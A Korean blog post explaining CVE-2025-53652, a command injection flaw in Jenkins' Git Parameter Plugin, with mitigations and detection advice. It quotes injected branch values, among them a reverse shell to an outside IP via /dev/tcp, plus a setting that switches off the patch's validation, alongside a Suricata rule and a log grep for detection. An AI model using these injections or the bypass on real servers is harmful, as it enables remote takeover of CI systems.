blog.pisik.club
728x90

안녕하세요!

 

저번달인 2025년 7월, DevOps 세계에서 하나의 큰 이슈가 터졌습니다.

널리 사랑받는 Jenkins의 Git Parameter Plugin에서 원격 코드 실행까지 가능한 심각한 취약점이 발견되었습니다.

 

CVE-2025-53652라는 이름으로 불리는 이 녀석은 처음엔 "중간 정도 위험"이라고 분류되었지만, 실상을 들여다보니 완전히 다른 이야기였습니다.

 

해당 내역에 대해서 알아보는 시간을 가져보도록 하겠습니다 :)

 


Jenkins Git Parameter Plugin 심각도는?

 

Jenkins Git Parameter Plugin 심각도가 그렇게 심각한건가?? 라는 생각이 들 수 있습니다.

하지만, VulnCheck의 보안 연구진이 이 취약점을 분석하면서 한 말이 인상적입니다. 

Git은 그냥 평범한 바이너리가 아니다. 이건 잘 알려진 GTFObin이다. 

 

https://www.vulncheck.com/blog/git-parameter-rce

 

Command Injection in Jenkins via Git Parameter (CVE-2025-53652) | Blog | VulnCheck

CVE-2025-53652 was disclosed as a medium-severity vulnerability in the Jenkins Git Parameter plugin but it enables command injection and remote code execution when this popular plugin is installed. We break down the vulnerability and share detection guidan

www.vulncheck.com

 

 

쉽게 말해, Git는 시스템 명령을 실행할 수 있는 강력한 도구라는 뜻입니다.

이러한 Git는 시스템 명령을 실행하여 실제 공격은 다음과 같이 발생 될 수 있습니다. 

 

정상적인 상황에서는 Git 브랜치 매개변수에 master나 develop 같은 값이 들어가지만,  공격자는 다음의 명령어를 입력합니다.

$(sleep 80)

 

$(bash -c "bash &> /dev/tcp/10.9.49.196/1270 <&1")

 

 

위의 명령어를 입력하면  Jenkins 서버가 공격자의 명령을 그대로 실행해버립니다.

마치 공격자에게 서버 열쇠를 넘겨주는 꼴이라고 볼 수 있습니다.

 

전 세계 15,000대 서버가 위험에 노출

더 심각한 건, 현재 약 15,000대의 Jenkins 서버가 인증 없이도 접근 가능한 상태로 인터넷에 노출되어 있다는 점입니다. 

Jenkins 로 CI/CD로 구축되어 있는 환경이 대부분이기 때문에 국내 기업들의 상황도 마찬가지로 심각한 상태에 노출 되어 있습니다.

 

작년 안랩의 조사 결과를 보면, 국내에서 외부 접근이 가능한 Jenkins 서버 4,245개 중 71%가 심각한 취약점에 노출되어 있었습니다.

이런 상황에서 새로운 RCE 취약점까지 등장한 것입니다.

 

https://asec.ahnlab.com/ko/82870/

 

Jenkins 취약점 노출 국내 서버 현황 (CVE-2024-23897, CVE-2024-43044) - ASEC

Jenkins 취약점 노출 국내 서버 현황 (CVE-2024-23897, CVE-2024-43044) ASEC

asec.ahnlab.com

 

 

패치했다고 끝? 

 

취약점이 발생했으니 다른 버전으로 패치하면 되겠지??? 라고 생각하실텐데, 가장 충격적인 건 패치된 버전에서도 우회가 가능하다는 점입니다. 

 

Jenkins에는 다음과 같은 시스템 속성이 있습니다:

 

-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true

 

 

이 설정을 활성화하면 패치의 검증 기능을 비활성화시킬 수 있습니다.

 즉, 업데이트만으론 완전한 보안이 보장되지 않는다는 뜻입니다.

 

 공격 탐지 확인

VulnCheck에서는 이 공격을 탐지할 수 있는 Suricata 규칙도 공개했습니다.

 

alert http any any -> any any ( \
  msg:"VULNCHECK Jenkins Git-Parameter Plugin CVE-2025-53652 Build Param Injection"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/job"; startswith; \
  content:"/build"; \
  http.request_body; content:"parameter"; \
  content:"name"; distance: 0; \
  content:"Jenkins-Crumb"; \
  content:"value"; \
  pcre:"/value[^&]*(\\;|%3b|\\||%7c|<|%3c|>|%3e|\\(|%28|\\)|%29|$|%24|`|%60|\\\"|%22|'|%27|\\\\|%5c|%26)/i"; \
  reference:cve,CVE-2025-53652; \
  classtype:web-application-attack; \
  sid:12700622; rev:2; \
  metadata: deployment Datacenter, deployment SSLDecrypt;)

 

 

공격 흔적은 Jenkins 작업 로그에도 남기때문에,

 ~/jobs/buildName/builds/#/log 파일에서 다음과 같은 패턴을 확인해보면 공격에 대한 흔적 로그를 확인할 수 있습니다.

 

grep -E "\$\(|`|;|\|" ~/jobs/*/builds/*/log

 

대응 방법

1. 즉시 업데이트
Git Parameter Plugin을 444.vca_b_84d3703c2 이상 버전으로 업데이트를 수행해야 됩니다.


2. 권한 재점검
Item/Build 권한을 가진 사용자들을 다시 한 번 점검이 필요합니다.

(정말 필요한 사람들에게만 권한이 부여되어 있는지 확인 필수 !)


3. 네트워크 격리
Jenkins 서버가 공개 인터넷에 노출되어 있다면 내부 네트워크나 VPN을 통해서만 접근할 수 있도록 설정하는 방법을 권장합니다.


4. 지속적 모니터링
패치 후에도 우회 가능성이 있으므로 네트워크 트래픽과 로그를 지속적으로 모니터링해야 합니다.

 

마치면서

CI/CD 파이프라인의 핵심으로, Jenkins는 정말 훌륭한 도구입니다. 

 하지만  한 번 뚫리면 전체 소프트웨어 개발 프로세스가 위험에 빠질 수 있으므로, 그만큼 공급망 공격의 주요 타깃이기도 합니다.

 

특히 국내 기업들의 경우, 개발 편의성을 위해 보안을 소홀히 하는 경우가 많습니다. 

하지만 이제는 보안이 개발 생산성의 전제조건이라는 인식의 전환이 필요합니다.

CVE-2025-53652는 단순한 매개변수 주입으로 시작되지만 원격 코드 실행까지 가능한 심각한 위협입니다. 

여러분의 Jenkins 서버는 안전한가요? 지금 당장 확인해보세요.  :)

 

728x90
profile

blog.pisik.club

@pisik

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!